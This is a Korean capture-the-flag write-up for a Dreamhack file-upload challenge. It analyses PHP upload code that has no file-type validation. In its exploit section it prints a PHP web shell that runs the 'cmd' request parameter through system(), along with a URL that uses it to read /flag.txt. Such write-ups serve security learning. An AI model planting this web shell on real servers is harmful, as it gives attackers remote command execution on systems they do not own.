image-storage

2026. 2. 2. 21:27·Dreamhack 워게임/Lv.1
반응형

문제 설명

php로 작성된 파일 저장 시스템입니다.

 

파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.


코드 분석

upload.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
...

<input type="file" id="InputFile" name="file">

...
  • $_FILES["file"]
    • <input type="file" name="file">에서 올라온 파일 정보
    • 배열이라서 여러 정보가 들어있음
  • $file = $_FILES["file"];
    • 위 배열을 $file 변수에 담아 편하게 쓰는 것
  • $name = $file["name"];
    • 사용자가 업로드한 파일명

list.php

...
<?php
    $directory = './uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
       echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
?>
...
  • ./uploads/ 디렉터리를 그대로 스캔해서 링크 생성
  • 업로드한 파일이 웹에서 접근 가능

  • 취약점 분석
  • 업로드 파일에 대한 확장자 / 콘텐츠 타입 검증이 없음
  • 파일명을 그대로 사용 → 경로조작 (../) 가능성 있음
  • 업로드 경로가 웹 루트 하위 (./uploads/)라면 PHP 실행 가능

익스플로잇

다음과 같은 웹셸 파일을 업로드할 예정

<?php
  if (isset($_GET["cmd"])) {
    system($_GET["cmd"]);
  } else {
    echo "usage: ?cmd=whoami";
  }
?>
  • ?cmd=ls 같은 요청을 보내면 서버에서 ls 명령어가 실행됨

위 그림과 같이 shell.php로 만들어 파일을 업로드 해줌

 

List에 들어가 보면

다음과 같이 작성한 코드가 브라우저에 잘 작성된 것을 확인할 수 있음.

따라서 ?cat flag.txt 를 쳐주면?

http://host3.dreamhack.games:20925/uploads/shell.php/?cmd=cat%20/flag.txt

 


 

## cat flag.txt 로하면 안나오던데 왜 그런가요?

cat flag.txt 로 하면 현재 경로에 있는 flag.txt를 찾기 때문에 파일이 없어서 못찾는다.

cat /flag.txt로 하면 절대 경로로 flag.txt를 한거기 때문에 루트경로부터 찾아서 나온다.

쉽게 말해 flag.txt는 상대경로 탐색이고 /flag.txt시 절대 경로로 탐색한다.

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

easy server side  (0) 2026.02.03
php-1  (0) 2026.02.02
simple-ssti  (0) 2026.01.30
simple_sqli chatgpt  (0) 2026.01.30
CSRF Advacned  (0) 2026.01.23
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • easy server side
  • php-1
  • simple-ssti
  • simple_sqli chatgpt
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    webstudy
    LLM
    hacking
    드림핵
    xss
    web
    alpacahack
    JavaScript
    DreamHack
    cve
    CSRF
    JS
    webhacking
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
image-storage
상단으로

티스토리툴바